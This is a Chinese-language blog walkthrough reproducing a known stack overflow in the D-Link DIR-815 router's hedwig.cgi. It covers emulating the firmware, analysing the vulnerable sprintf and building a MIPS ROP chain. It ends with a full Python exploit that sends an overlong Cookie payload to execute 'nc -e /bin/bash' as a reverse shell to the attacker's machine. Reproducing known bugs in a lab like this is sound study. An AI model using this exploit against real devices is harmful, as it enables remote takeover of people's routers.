揭秘家用路由器0day漏洞挖掘-week1
DIR-815 栈溢出
前言
DIR-815是一款2014年的路由器,其固件存在栈溢出,具体的细节可以参考https://www.exploit-db.com/exploits/33863 。笔者第一次尝试复现路由器的漏洞,复现过程中踩了许多坑,这里做一个记录,以便以后复习。
环境
ubuntu 18.04
qemu-6.00
工具
Binwalk(提取固件)
Buildroot(交叉编译环境)
sasquatch(提取路由器的文件系统)
还有一些其他的工具,具体可以参考揭秘家用路由器0day漏洞挖掘技术
调试分析
gdb配置
由于漏洞点在hedwig.cgi
中,首先找到文件后,检查一下文件类型。
可以看到是一个符号链接,链接的是/htdocs/cgibin
架构为mipsel
.
笔者是自己编译的qemu
,版本比较新6.00
,出现了一点问题,使用包管理器安装的一个低版本的qemu-user-static
后调试正常,使用qemu
调试的方法如下:
chroot
的作用是将根目录/
更换为当前目录~/iot/_DIR-815.bin.extracted/squashfs-root
,这样子程序所需要的库文件uclibc
以及链接器ld-uclibc
都会在~/iot/_DIR-815.bin.extracted/squashfs-root
下面的lib
文件夹中寻找,如果安装了binfmt
的话,就需要更改一下符号链接,不然即使chroot
了也无法使用当前目录下的lib
文件夹。
但是在调试的时候,需要在当前目录下的lib
中使用gdb-multiarch
调试,不然会各种出错(不知道什么原因,可能是gdb默认在当前目录下寻找动态链接库的原因?)
如果在调试的时候,gdb
并没有找到正确的动态链接库(vmmap显示的信息不全,只显示linker)。所以需要手动设置一下gdb的配置。
实际上chroot配置正确,或者binfmt链接正确的目录,是可以找到正确的动态链接文件的
笔者尝试使用set sysroot
更改gdb的链接库根目录,但是貌似不起作用,所以还是使用了binfmt
链接的方法。可以使用gdbscript方便调试
set architecture mips
set endian little
target remote :1234
b *0x409A54
c
vmmap
静态分析
漏洞产生的原因是由于Cookie
过长,而CGI中通过getenv("HTTP_COOKIE")
获取用户的cookie
,IDA中搜索字符串HTTP_COOKIE
找到数据交叉引用,只有一个ses_get_uid
函数
对应的函数的交叉引用为
定位到hedwigcgi_main
,发现在sess_get_uid
后面有两处sprintf
// part one
sess_get_uid((int)v4);
v6 = (const char *)sobj_get_string(v4);
sprintf(v27, "%s/%s/postxml", "/runtime/session", v6);
// part two
v20 = (const char *)sobj_get_string(v4);
sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);
v27
是栈上的变量,大小为1024
bytes,v6
和v20
都是从v4
获得的,v4
是post数据中的uid=xxxx
中的xxxx
部分。这部分数据是用户输入的可控数据,因此可以造成栈溢出,文件的保护机制如下:
因此可以构造ropchain
,不过需要确定溢出点到底是第一个sprintf
还是第二个sprintf
,书中使用的方法是,分别对/var/tmp
存在时和不存在时进行了访问请求,根据回显的不同来区分是否存在/var/tmp
,并对真实的路由器设备进行检测发现确实存在/var/tmp
设备,笔者没有此设备,于是就默认/var/tmp
目录存在,并进入第二个sprintf
进行溢出。
sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);
v27的大小为1024,其中格式字符串大小为51
,所以剩下1024-51
的空间需要被填充,然后可以覆盖s0-s7
以及fp,ra
。复杂的函数调用会把s0-s7
保存在栈中,栈溢出使得s0-s7
可控,由于我们需要构造rop
,寻找gadgets的时候优选寻找s0-s7
相关的gadgets,通过这几个寄存器可以控制a0-a3
(函数调用参数),和跳转地址jalr $s0
(类似的gadgets)。
书中构造了system(cmd)
的gadgets,首先就是寻找基址和偏移
vmmap 查看映射,或者搭建mips虚拟机寻找基址
其中通过jalr $s0
跳转到system的地址,同时在sp被复原后的0x10出布置cmd
即$a0
.text:000159CC addiu $s5, $sp, 0x14C+var_13C (0x10) // cmd
.text:000159D0 move $a1, $s3
.text:000159D4 move $a2, $s1
.text:000159D8 move $t9, $s0 // 控制s0为system地址
.text:000159DC jalr $t9 ;
.text:000159E0 move $a0, $s5 // 第一个参数
不过由于sprintf会有0x00
截断的问题,而system的地址(偏移为0x53200)恰好包含0x00
所以需要对$s0
进行一定的变换(s0保存了跳转地址)
找到一个s0+1
的gadget,这样就可以将末尾的0x00
替换掉
.text:000158C8 move $t9, $s5 // 跳转到s5
.text:000158CC jalr $t9
.text:000158D0 addiu $s0, 1
最终的ropchain
如图所示
搭建环境
笔者使用qemu-mipsel-static
得到的基址为0x7f738000
,本地测试可以进入到system(cmd)
,但是程序会crash掉。所以决定搭建mips
虚拟机,参考k神.内核和磁盘镜像链接如下:
https://people.debian.org/~aurel32/qemu/mipsel/
内核:
vmlinux-2.6.32-5-4kc-malta
磁盘镜像:
debian_squeeze_mipsel_standard.qcow2
网络配置参考这里
创建网桥:
sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.122.1/24 up
创建tap0接口,并添加到网桥:
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.122.11/24 up
sudo brctl addif virbr0 tap0
启动镜像
sudo qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
登录虚拟机,用户名密码均为root
,配置网卡的ip地址
笔者这里采用的是,本地修改好需要使用的配置文件和库文件,然后sftp传到虚拟机上去,不过需要注意符号链接的事情。
服务是基于httpd
和phpcgi
完成的,搭建的虚拟机没有httpd
服务和phpcgi
程序,所以需要将对应的二进制文件拷贝到虚拟机中。使用的sftp客户端是filezilla
,直接用包管理就可以安装了。
httpd
首先找到固件中的httpd
(注意别查看一下是不是软链接,这里不是软链接直接拷贝就行),同时将固件中的lib
文件夹拷贝到虚拟机的/lib
下,同时创建对应的软链接,不然无法正确的启动httpd
。动态库链接情况如下
创建软链接,完成后能够正常运行httpd
有一个用于生成httpd
配置文件的php
脚本./etc/services/HTTP/httpcfg.php
,不过不能直接用,需要改点东西,最后得到如下的配置文件
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On # 开启日志
ErrorLog /root/log.txt # 日志文件
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 # 虚拟机网卡名称
Address 192.168.122.12 # 虚拟机网卡的ip地址
Port 2333 # 空闲的端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /smart404
Location /htdocs/smart404
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}
将上述的配置文件写入到到/root/conf
中
phpcgi
首先将htdocs
文件夹上传到虚拟机根目录下,cgi
文件由于是链接文件所以有点问题,可以打包后上传,或者手动链接。然后将etc
文件夹上传到虚拟机根目录,同时创建phpcgi
的软链接
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
启动httpd
,发包测试一下
查看服务器端日志
同时记录一下服务器端的基址(进程的pid是找规律找出来的,所以直接cat了对应pid下的maps)
对应的基址为0x2aaf8000
,最后上payload(直接用k神的脚本,比较简单就偷懒了):
from pwn import *
import requests
import sys
def get_payload(offset,libc_addr,cmd):
payload=b"A"*offset #fill
payload+=p32(libc_addr+0x531ff) # $s0
payload+=b"A"*4 # $s1
payload+=b"A"*4 # $s2
payload+=b"A"*4 # $s3
payload+=b"A"*4 # $s4
payload+=p32(libc_addr+0x159cc) # $s5
payload+=b"A"*4 # $s6
payload+=b"A"*4 # $s7
payload+=b"A"*4 # $gp
payload+=p32(libc_addr+0x158c8) # $ra
payload+=b"A"*16 #fill
payload+=cmd # shellcode
return payload
if __name__=="__main__":
cmd=b"nc -e /bin/bash 192.168.122.1 1234" #填入本机IP&&监听端口(其他反弹shell命令总是不成功)
fake_cookie=b"uid="+get_payload(0x3cd,0x2aaf8000,cmd)
header = {
'Cookie' : fake_cookie,
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length': '100'
}
data = {'uid':'kirin'}
ip_port=sys.argv[1]
url="http://"+ip_port+"/hedwig.cgi"
r=requests.post(url=url,headers=header,data=data)
log.info("Kirin-say PWN")
效果展示
参考链接
https://kirin-say.top/2019/02/23/Building-MIPS-Environment-for-Router-PWN
https://e3pem.github.io/2019/08/23/mips-pwn/mips-pwn%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/